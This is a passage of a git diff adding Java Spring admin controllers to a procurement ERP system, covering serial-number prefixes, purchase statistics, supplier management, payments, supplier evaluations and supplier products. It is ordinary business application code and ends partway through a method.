import com.vverp.annotation.Module;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.SnPrefixService;
|
||||
import org.apache.commons.lang.StringUtils;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/3/11 8:38 下午
|
||||
*/
|
||||
@Controller("adminSnPrefixController")
|
||||
@RequestMapping("/admin/snPrefix")
|
||||
public class SnPrefixController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private SnPrefixService snPrefixService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(ModelMap modelMap) {
|
||||
Class[] classes = new Class[]{PurchaseOrder.class, PurchaseStock.class};
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (Class cls : classes) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
String key = cls.getSimpleName();
|
||||
Module module = (Module) cls.getAnnotation(Module.class);
|
||||
if (module == null || StringUtils.isBlank(module.name())) {
|
||||
continue;
|
||||
}
|
||||
|
||||
map.put("moduleName", module.name());
|
||||
map.put("name", key);
|
||||
map.put("prefix", snPrefixService.get(key).getPrefix());
|
||||
|
||||
list.add(map);
|
||||
}
|
||||
|
||||
modelMap.addAttribute("list", list);
|
||||
return "snPrefix/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/edit")
|
||||
public String dialogEdit(ModelMap modelMap, String name) {
|
||||
SnPrefix snPrefix = snPrefixService.get(name);
|
||||
modelMap.addAttribute("snPrefix", snPrefix);
|
||||
return "/snPrefix/dialog/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public RespData update(SnPrefix snPrefix) {
|
||||
snPrefixService.updateSnPrefix(snPrefix);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import cn.hutool.core.date.DateField;
|
||||
import com.vverp.util.DateUtil;
|
||||
import com.vverp.dto.OrderInfo;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.enums.TransportType;
|
||||
import com.vverp.moli.util.Filter;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.math.BigDecimal;
|
||||
import java.util.*;
|
||||
|
||||
@Controller("adminStatistics")
|
||||
@RequestMapping("/admin/statistics")
|
||||
public class StatisticsController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderService purchaseOrderService;
|
||||
|
||||
@Resource
|
||||
private StatisticService statisticService;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderItemService purchaseOrderItemService;
|
||||
|
||||
@Resource
|
||||
private ProductService productService;
|
||||
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
|
||||
@Resource
|
||||
private PaymentAccountService paymentAccountService;
|
||||
|
||||
@Resource
|
||||
private PaymentApplyService paymentApplyService;
|
||||
|
||||
@Resource
|
||||
private MaterialOrderItemService materialOrderItemService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
@ResponseBody
|
||||
public RespData list() {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
Calendar calendar = Calendar.getInstance();
|
||||
calendar.add(Calendar.DAY_OF_YEAR, -1);
|
||||
Date endDate = calendar.getTime();
|
||||
calendar.add(Calendar.MONTH, -1);
|
||||
Date startDate = calendar.getTime();
|
||||
List<Statistic> list = statisticService.analyze(Statistic.Period.day, startDate, endDate);
|
||||
map.put("list", list);
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
/**
|
||||
* 交易分析
|
||||
*
|
||||
* @return
|
||||
*/
|
||||
@RequestMapping("/business")
|
||||
public String business() {
|
||||
return "/statistics/business";
|
||||
}
|
||||
|
||||
@RequestMapping("/businessData")
|
||||
@ResponseBody
|
||||
public RespData businessData(Date startDate, Date endDate) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
OrderInfo purchaseInfo = purchaseOrderService.analyze(null, startDate, endDate);
|
||||
map.put("purchaseCount", purchaseInfo.getCount());
|
||||
map.put("purchaseAmount", purchaseInfo.getAmount());
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
/**
|
||||
* 商品分析
|
||||
*
|
||||
* @return
|
||||
*/
|
||||
@RequestMapping("/product")
|
||||
public String product() {
|
||||
return "/statistics/product";
|
||||
}
|
||||
|
||||
@RequestMapping("/home")
|
||||
public String home() {
|
||||
return "/statistics/home";
|
||||
}
|
||||
|
||||
@RequestMapping("/homeData")
|
||||
@ResponseBody
|
||||
public RespData homeData(Date startDate, Date endDate) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
OrderInfo applyInfo = materialOrderItemService.analyze(startDate, endDate);
|
||||
OrderInfo purchaseInfo = purchaseOrderItemService.analyze(startDate, endDate);
|
||||
map.put("applyCount", applyInfo.getNumber());
|
||||
map.put("applyAmount", applyInfo.getAmount());
|
||||
map.put("purchaseCount", purchaseInfo.getNumber());
|
||||
map.put("purchaseAmount", purchaseInfo.getAmount());
|
||||
map.put("list", purchaseOrderItemService.produceRankDTO(startDate, endDate, 10, null));
|
||||
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/productData")
|
||||
@ResponseBody
|
||||
public RespData productData(Date startDate, Date endDate) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
OrderInfo applyInfo = materialOrderItemService.analyze(startDate, endDate);
|
||||
OrderInfo purchaseInfo = purchaseOrderItemService.analyze(startDate, endDate);
|
||||
map.put("applyCount", applyInfo.getNumber());
|
||||
map.put("applyAmount", applyInfo.getAmount());
|
||||
map.put("purchaseCount", purchaseInfo.getNumber());
|
||||
map.put("purchaseAmount", purchaseInfo.getAmount());
|
||||
map.put("list", materialOrderItemService.produceRankDTO(startDate, endDate, 10, null));
|
||||
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* 资金曲线
|
||||
*
|
||||
* @return
|
||||
*/
|
||||
@RequestMapping("/moneyStatistic")
|
||||
public String moneyStatistic() {
|
||||
return "/statistics/moneyStatistic";
|
||||
}
|
||||
|
||||
}
|
||||
339
src/main/java/com/vverp/controller/admin/SupplierController.java
Normal file
339
src/main/java/com/vverp/controller/admin/SupplierController.java
Normal file
@@ -0,0 +1,339 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import cn.hutool.json.JSONObject;
|
||||
import com.vverp.base.Setting;
|
||||
import com.vverp.dto.CompanyQuery;
|
||||
import com.vverp.dto.OrderInfo;
|
||||
import com.vverp.dto.OrderQuery;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.enums.OrderStatus;
|
||||
import com.vverp.moli.util.*;
|
||||
import com.vverp.service.*;
|
||||
import com.vverp.util.ZipUtil;
|
||||
import org.bouncycastle.math.raw.Mod;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import java.io.File;
|
||||
import java.math.BigDecimal;
|
||||
import java.util.*;
|
||||
|
||||
@Controller("adminSupplierController")
|
||||
@RequestMapping("/admin/supplier")
|
||||
public class SupplierController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
|
||||
@Resource
|
||||
private PurchaseStockService purchaseStockService;
|
||||
|
||||
@Resource
|
||||
private PaymentAccountService paymentAccountService;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderService purchaseOrderService;
|
||||
|
||||
@Resource
|
||||
private PurchaseStockItemService purchaseStockItemService;
|
||||
|
||||
@Resource
|
||||
private PaymentApplyService paymentApplyService;
|
||||
|
||||
@Resource
|
||||
private ProgressService progressService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private AreaService areaService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(Pageable pageable, CompanyQuery companyQuery, ModelMap modelMap) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("progressId",companyQuery.getProgressId());
|
||||
modelMap.addAttribute("progressList",progressService.findAll());
|
||||
if (companyQuery.getProgressId() == null) {
|
||||
companyQuery.setProgressId(admin.getNowProgress());
|
||||
}
|
||||
if (admin.getNowProgress() == null) {
|
||||
modelMap.addAttribute("company",true);
|
||||
}else {
|
||||
modelMap.addAttribute("company",false);
|
||||
}
|
||||
Page<Supplier> page = supplierService.findPageView(pageable, companyQuery);
|
||||
modelMap.addAttribute("page", page);
|
||||
modelMap.addAttribute("createDateStart", companyQuery.getCreateDateStart());
|
||||
modelMap.addAttribute("createDateEnd", companyQuery.getCreateDateEnd());
|
||||
modelMap.addAttribute("sn", companyQuery.getSn());
|
||||
modelMap.addAttribute("name", companyQuery.getName());
|
||||
modelMap.addAttribute("address", companyQuery.getAddress());
|
||||
modelMap.addAttribute("contact", companyQuery.getContact());
|
||||
modelMap.addAttribute("phone", companyQuery.getPhone());
|
||||
modelMap.addAttribute("landLinePhone", companyQuery.getLandLinePhone());
|
||||
modelMap.addAttribute("memo", companyQuery.getMemo());
|
||||
modelMap.addAttribute("email", companyQuery.getEmail());
|
||||
modelMap.addAttribute("deliveryWay", companyQuery.getDeliveryWay());
|
||||
modelMap.addAttribute("totalBalance", supplierService.sumBalance(companyQuery));
|
||||
return "/supplier/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/statistics")
|
||||
public String statistics(Pageable pageable, String name, Date startDate, Date endDate, ModelMap modelMap) {
|
||||
CompanyQuery companyQuery = new CompanyQuery();
|
||||
companyQuery.setName(name);
|
||||
Page<Supplier> page = supplierService.findPageView(pageable, companyQuery);
|
||||
|
||||
OrderQuery orderQuery = new OrderQuery();
|
||||
orderQuery.setCreateDateStart(startDate);
|
||||
orderQuery.setCreateDateEnd(endDate);
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (Supplier supplier : page.getContent()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", supplier.getId());
|
||||
map.put("name", supplier.getName());
|
||||
orderQuery.setOwnerId(supplier.getId());
|
||||
// 单数
|
||||
OrderInfo orderInfo = purchaseStockService.orderInfo(orderQuery);
|
||||
map.put("orderCount", orderInfo.getCount());
|
||||
// 金额
|
||||
map.put("amount", orderInfo.getAmount());
|
||||
// 总量
|
||||
orderInfo = purchaseStockItemService.orderInfo(orderQuery);
|
||||
map.put("count", orderInfo.getNumber());
|
||||
list.add(map);
|
||||
}
|
||||
|
||||
orderQuery.setOwnerId(null);
|
||||
OrderInfo orderInfo = purchaseStockService.orderInfo(orderQuery);
|
||||
modelMap.addAttribute("orderCount", orderInfo.getCount());
|
||||
modelMap.addAttribute("amount", orderInfo.getAmount());
|
||||
orderInfo = purchaseStockItemService.orderInfo(orderQuery);
|
||||
modelMap.addAttribute("count", orderInfo.getAmount());
|
||||
|
||||
modelMap.addAttribute("page", new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
modelMap.addAttribute("name", companyQuery.getName());
|
||||
modelMap.addAttribute("startDate", startDate);
|
||||
modelMap.addAttribute("endDate", endDate);
|
||||
return "/supplier/statistics";
|
||||
}
|
||||
|
||||
@RequestMapping("/add")
|
||||
public String add(ModelMap modelMap) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("progressList",progressService.findAll());
|
||||
modelMap.addAttribute("progressId",admin.getNowProgress());
|
||||
modelMap.addAttribute("provinceList", areaService.findProvinceList());
|
||||
return "/supplier/add";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/edit")
|
||||
public String edit(Long id, ModelMap modelMap) {
|
||||
Supplier supplier = supplierService.find(id);
|
||||
modelMap.addAttribute("provinceList", areaService.findProvinceList());
|
||||
modelMap.addAttribute("supplier", supplier);
|
||||
modelMap.addAttribute("progressList",progressService.findAll());
|
||||
modelMap.addAttribute("areaService", areaService);
|
||||
return "/supplier/edit";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/view")
|
||||
public String view(Long id, ModelMap modelMap) {
|
||||
Supplier supplier = supplierService.find(id);
|
||||
modelMap.addAttribute("provinceList", areaService.findProvinceList());
|
||||
modelMap.addAttribute("supplier", supplier);
|
||||
modelMap.addAttribute("areaService", areaService);
|
||||
return "/supplier/view";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public Message save(Supplier supplier,String username) {
|
||||
// if (!isValid(supplier, BaseEntity.Save.class)) {
|
||||
// return ERROR;
|
||||
// }
|
||||
try {
|
||||
supplierService.saveSupplier(supplier,username);
|
||||
return SUCCESS;
|
||||
} catch (RuntimeException e) {
|
||||
e.printStackTrace();
|
||||
return Message.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return ERROR;
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public Message update(Supplier supplier,String username) {
|
||||
// if (!isValid(supplier, BaseEntity.Update.class)) {
|
||||
// return ERROR;
|
||||
// }
|
||||
try {
|
||||
supplierService.updateSupplier(supplier,username);
|
||||
return SUCCESS;
|
||||
} catch (RuntimeException e) {
|
||||
return Message.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return ERROR;
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/delete", method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
public Message delete(Long[] ids) {
|
||||
supplierService.webDelete(ids);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
/**
|
||||
* 供应商付款
|
||||
*/
|
||||
@RequestMapping("/dialog/payment")
|
||||
public String dialogPayment(ModelMap modelMap, Long id) {
|
||||
Supplier supplier = supplierService.find(id);
|
||||
modelMap.addAttribute("provinceList", areaService.findProvinceList());
|
||||
modelMap.addAttribute("supplier", supplier);
|
||||
OrderQuery orderQuery = new OrderQuery();
|
||||
orderQuery.setStatus(OrderStatus.approved);
|
||||
orderQuery.setOwnerId(id);
|
||||
|
||||
if (Setting.getData().getReceiptPoint().equals(SystemSetting.ReceiptPoint.order)) {
|
||||
modelMap.addAttribute("list", purchaseOrderService.findList(orderQuery));
|
||||
} else {
|
||||
modelMap.addAttribute("list", purchaseStockService.findList(orderQuery));
|
||||
}
|
||||
|
||||
modelMap.addAttribute("receiptPoint", Setting.getData().getReceiptPoint());
|
||||
modelMap.addAttribute("paymentAccounts", paymentAccountService.findAll());
|
||||
return "/supplier/dialog/payment";
|
||||
}
|
||||
|
||||
/**
|
||||
* 客户收款
|
||||
*/
|
||||
@RequestMapping("/payment")
|
||||
@ResponseBody
|
||||
public RespData payment(@RequestBody JSONObject jsonObject) {
|
||||
try {
|
||||
Supplier supplier = supplierService.find(jsonObject.getLong("supplierId"));
|
||||
BigDecimal totalAmount = jsonObject.getBigDecimal("totalAmount");
|
||||
Long accountId = jsonObject.getLong("account");
|
||||
PaymentAccount paymentAccount = paymentAccountService.find(accountId);
|
||||
for (Object o : jsonObject.getJSONArray("list")) {
|
||||
JSONObject item = (JSONObject) o;
|
||||
Long id = item.getLong("id");
|
||||
BigDecimal amount = item.getBigDecimal("amount");
|
||||
if (Setting.getData().getReceiptPoint().equals(SystemSetting.ReceiptPoint.order)) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
purchaseOrder.setPayedAmount(purchaseOrder.getPayedAmount().add(amount));
|
||||
purchaseOrderService.update(purchaseOrder);
|
||||
} else {
|
||||
PurchaseStock purchaseStock = purchaseStockService.find(id);
|
||||
purchaseStock.setPayedAmount(purchaseStock.getPayedAmount().add(amount));
|
||||
purchaseStockService.update(purchaseStock);
|
||||
}
|
||||
}
|
||||
supplierService.payment(supplier, totalAmount, null, paymentAccount);
|
||||
return RespData.success();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error("操作失败");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 采购应付
|
||||
*/
|
||||
@RequestMapping("/purchasePayment")
|
||||
public String purchasePayment(ModelMap modelMap, Pageable pageable) {
|
||||
pageable.setFilters(Collections.singletonList(Filter.gt("balance", 0)));
|
||||
Page<Supplier> page = supplierService.findPage(pageable);
|
||||
modelMap.addAttribute("page", page);
|
||||
return "/supplier/purchasePayment";
|
||||
}
|
||||
|
||||
/**
|
||||
* 导出
|
||||
*/
|
||||
@RequestMapping("/export")
|
||||
public void export(HttpServletResponse response, CompanyQuery companyQuery) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
companyQuery.setProgressId(admin.getNowProgress());
|
||||
supplierService.export(response, companyQuery);
|
||||
}
|
||||
|
||||
/**
|
||||
* 导入模板
|
||||
*/
|
||||
@RequestMapping("/exportTemplate")
|
||||
public void exportTemplate(HttpServletResponse response) {
|
||||
supplierService.exportTemplate(response);
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/addFile")
|
||||
public String addFile(ModelMap modelMap){
|
||||
modelMap.addAttribute("progressId",adminService.getCurrent().getNowProgress());
|
||||
return "supplier/dialog/addFile";
|
||||
}
|
||||
@RequestMapping("/import")
|
||||
@ResponseBody
|
||||
public RespData importExcel(MultipartFile file,Long progressId) {
|
||||
try {
|
||||
supplierService.importExcel(file,progressId);
|
||||
return RespData.success();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/detail")
|
||||
public String dialogDetail(ModelMap modelMap, Long id) {
|
||||
Supplier supplier = supplierService.find(id);
|
||||
modelMap.addAttribute("supplier", supplier);
|
||||
|
||||
List<PurchaseOrder> contractList = purchaseOrderService.findList(null, Collections.singletonList(
|
||||
Filter.eq("ownerId", supplier.getId())
|
||||
), null);
|
||||
|
||||
List<PaymentApply> paymentApplyList = paymentApplyService.findList(null, Arrays.asList(
|
||||
Filter.eq("type", PaymentApply.Type.purchaseOrder),
|
||||
Filter.eq("ownerId", supplier.getId()),
|
||||
Filter.eq("receivePayment", PaymentApply.ReceivePayment.payment)
|
||||
), null);
|
||||
|
||||
List<PaymentApply> refundApplyList = paymentApplyService.findList(null, Arrays.asList(
|
||||
Filter.eq("type", PaymentApply.Type.purchaseOrder),
|
||||
Filter.eq("ownerId", supplier.getId()),
|
||||
Filter.eq("receivePayment", PaymentApply.ReceivePayment.receive)
|
||||
), null);
|
||||
|
||||
modelMap.addAttribute("contractList", contractList);
|
||||
modelMap.addAttribute("paymentApplyList", paymentApplyList);
|
||||
modelMap.addAttribute("refundApplyList", refundApplyList);
|
||||
return "/supplier/dialog/detail";
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/loadZip")
|
||||
public String dialogLoadZip(ModelMap modelMap){
|
||||
modelMap.addAttribute("progressId",adminService.getCurrent().getNowProgress());
|
||||
return "supplier/dialog/loadZip";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/loadZip",method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
public RespData loadZip(@RequestParam("file") MultipartFile file,Long progressId){
|
||||
supplierService.loadZip(file,progressId);
|
||||
return RespData.success();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.google.common.base.Suppliers;
|
||||
import com.vverp.dto.CompanyQuery;
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.entity.Supplier;
|
||||
import com.vverp.entity.SupplierEvaluate;
|
||||
import com.vverp.entity.SystemSetting;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.service.SupplierEvaluateService;
|
||||
import com.vverp.service.SupplierService;
|
||||
import com.vverp.service.SystemSettingService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.math.BigDecimal;
|
||||
import java.util.List;
|
||||
|
||||
@RequestMapping("admin/supplierEvaluate")
|
||||
@Controller("adminSupplierEvaluate")
|
||||
public class SupplierEvaluateController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private SupplierEvaluateService supplierEvaluateService;
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
@Resource
|
||||
private SystemSettingService systemSettingService;
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Pageable pageable){
|
||||
Page<SupplierEvaluate> page = supplierEvaluateService.findPage(pageable);
|
||||
modelMap.addAttribute("page",page);
|
||||
return "supplierEvaluate/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(ModelMap modelMap){
|
||||
Admin admin = adminService.getCurrent();
|
||||
CompanyQuery companyQuery = new CompanyQuery();
|
||||
companyQuery.setProgressId(admin.getNowProgress());
|
||||
modelMap.addAttribute("supplierList",supplierService.findList(companyQuery));
|
||||
return "supplierEvaluate/add";
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/weight")
|
||||
public String dialogWeight(ModelMap modelMap){
|
||||
SystemSetting systemSetting = systemSettingService.findSingle();
|
||||
modelMap.addAttribute("speedWeight",systemSetting.getSpeedWeight());
|
||||
modelMap.addAttribute("qualityWeight",systemSetting.getQualityWeight());
|
||||
modelMap.addAttribute("warrantyWeight",systemSetting.getWarrantyWeight());
|
||||
return "supplierEvaluate/dialog/weight";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(ModelMap modelMap,Long id){
|
||||
SupplierEvaluate supplierEvaluate = supplierEvaluateService.find(id);
|
||||
modelMap.addAttribute("supplierEvaluate",supplierEvaluate);
|
||||
Admin admin = adminService.getCurrent();
|
||||
CompanyQuery companyQuery = new CompanyQuery();
|
||||
companyQuery.setProgressId(admin.getNowProgress());
|
||||
modelMap.addAttribute("supplierList",supplierService.findList(companyQuery));
|
||||
return "supplierEvaluate/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public Message save(SupplierEvaluate supplierEvaluate){
|
||||
if (supplierEvaluate.getSupplier() == null || supplierEvaluate.getSupplier().getId() == null){
|
||||
return Message.error("供应商不能为空");
|
||||
}
|
||||
Supplier supplier = supplierService.find(supplierEvaluate.getSupplier().getId());
|
||||
supplierEvaluate.setSupplier(supplier);
|
||||
supplierEvaluateService.save(supplierEvaluate);
|
||||
return Message.success("保存成功");
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public Message update(SupplierEvaluate supplierEvaluate){
|
||||
if (supplierEvaluate.getSupplier() == null || supplierEvaluate.getSupplier().getId() == null){
|
||||
return Message.error("供应商不能为空");
|
||||
}
|
||||
Supplier supplier = supplierService.find(supplierEvaluate.getSupplier().getId());
|
||||
supplierEvaluate.setSupplier(supplier);
|
||||
supplierEvaluateService.update(supplierEvaluate);
|
||||
return Message.success("保存成功");
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long ids){
|
||||
supplierEvaluateService.delete(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
|
||||
@RequestMapping("saveWeight")
|
||||
@ResponseBody
|
||||
public RespData saveWeight(BigDecimal speedWeight,BigDecimal qualityWeight,BigDecimal warrantyWeight){
|
||||
SystemSetting systemSetting = systemSettingService.findSingle();
|
||||
systemSetting.setQualityWeight(qualityWeight);
|
||||
systemSetting.setSpeedWeight(speedWeight);
|
||||
systemSetting.setWarrantyWeight(warrantyWeight);
|
||||
systemSettingService.update(systemSetting);
|
||||
return RespData.success("保存成功");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,279 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.google.common.base.Suppliers;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import org.bouncycastle.math.raw.Mod;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@RequestMapping("admin/supplierProduct")
|
||||
@Controller("adminSupplierProduct")
|
||||
public class SupplierProductController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private SupplierProductService supplierProductService;
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
@Resource
|
||||
private ProductTypeService productTypeService;
|
||||
|
||||
@Resource
|
||||
private DiameterService diameterService;
|
||||
@Resource
|
||||
private WallThicknessService wallThicknessService;
|
||||
@Resource
|
||||
private MaterialService materialService;
|
||||
@Resource
|
||||
private SizeStandardService sizeStandardService;
|
||||
@Resource
|
||||
private EndFaceService endFaceService;
|
||||
@Resource
|
||||
private PressureLevelService pressureLevelService;
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Long supplierId, Pageable pageable, String productTypeChan,String bigType,String smallType,String supplierName){
|
||||
Admin admin = adminService.getCurrent();
|
||||
for (Supplier findSupplier : admin.getSupplierList()){
|
||||
if (admin.getNowProgress()==null){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
supplierId = findSupplier.getId();
|
||||
}
|
||||
}else {
|
||||
if (admin.getNowProgress().equals(findSupplier.getProgressId())){
|
||||
supplierId = findSupplier.getId();
|
||||
}
|
||||
}
|
||||
}
|
||||
// if (admin.getSupplier() != null){
|
||||
// supplierId = admin.getSupplier().getId();
|
||||
// }
|
||||
Page<SupplierProduct> page = supplierProductService.findPageView(supplierId,pageable,productTypeChan,admin.getNowProgress(),bigType,smallType,supplierName);
|
||||
// Map<Long,String> typeChan = new HashMap<>();
|
||||
// for (SupplierProduct product : page.getContent()){
|
||||
// if (product.getProductType() != null) {
|
||||
// if (product.getProductType().getParentId() != null){
|
||||
// ProductType parent = productTypeService.find(product.getProductType().getParentId());
|
||||
// typeChan.put(product.getId(), parent.getName()+"/"+product.getProductType().getName());
|
||||
// }else {
|
||||
// typeChan.put(product.getId(), product.getProductType().getName());
|
||||
// }
|
||||
// }else {
|
||||
// typeChan.put(product.getId(), "");
|
||||
// }
|
||||
// }
|
||||
modelMap.addAttribute("page",page);
|
||||
// modelMap.addAttribute("typeChan",typeChan);
|
||||
modelMap.addAttribute("supplierId",supplierId);
|
||||
modelMap.addAttribute("bigType",bigType);
|
||||
modelMap.addAttribute("smallType",smallType);
|
||||
modelMap.addAttribute("supplierName",supplierName);
|
||||
Supplier supplier = supplierService.find(supplierId);
|
||||
// modelMap.addAttribute("supplierName",supplier.getName());
|
||||
modelMap.addAttribute("productTypeChan",productTypeChan);
|
||||
return "supplierProduct/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(Long supplierId,ModelMap modelMap){
|
||||
Supplier supplier = supplierService.find(supplierId);
|
||||
Admin admin = adminService.getCurrent();
|
||||
|
||||
Supplier adminSupplier = null;
|
||||
for (Supplier findSupplier : admin.getSupplierList()){
|
||||
if (admin.getNowProgress()==null){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}else {
|
||||
if (admin.getNowProgress().equals(findSupplier.getProgressId())){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}
|
||||
}
|
||||
// if (admin.getSupplier() != null){
|
||||
if (adminSupplier != null){
|
||||
List<Supplier> list = new ArrayList<>();
|
||||
list.add(adminSupplier);
|
||||
modelMap.addAttribute("supplierList",list);
|
||||
modelMap.addAttribute("supplier",supplier);
|
||||
modelMap.addAttribute("supplierId",supplier.getId());
|
||||
}else {
|
||||
modelMap.addAttribute("supplier",supplier);
|
||||
modelMap.addAttribute("supplierId",supplier==null?null:supplier.getId());
|
||||
modelMap.addAttribute("supplierList",supplierService.findListByAttribute("progressId",admin.getNowProgress()));
|
||||
}
|
||||
modelMap.addAttribute("productTypeList",productTypeService.findListByAttribute("level",1));
|
||||
|
||||
modelMap.addAttribute("pressureLevelList",pressureLevelService.findAll());
|
||||
modelMap.addAttribute("endFaceList",endFaceService.findAll());
|
||||
modelMap.addAttribute("materialList",materialService.findAll());
|
||||
modelMap.addAttribute("wallThicknessList",wallThicknessService.findAll());
|
||||
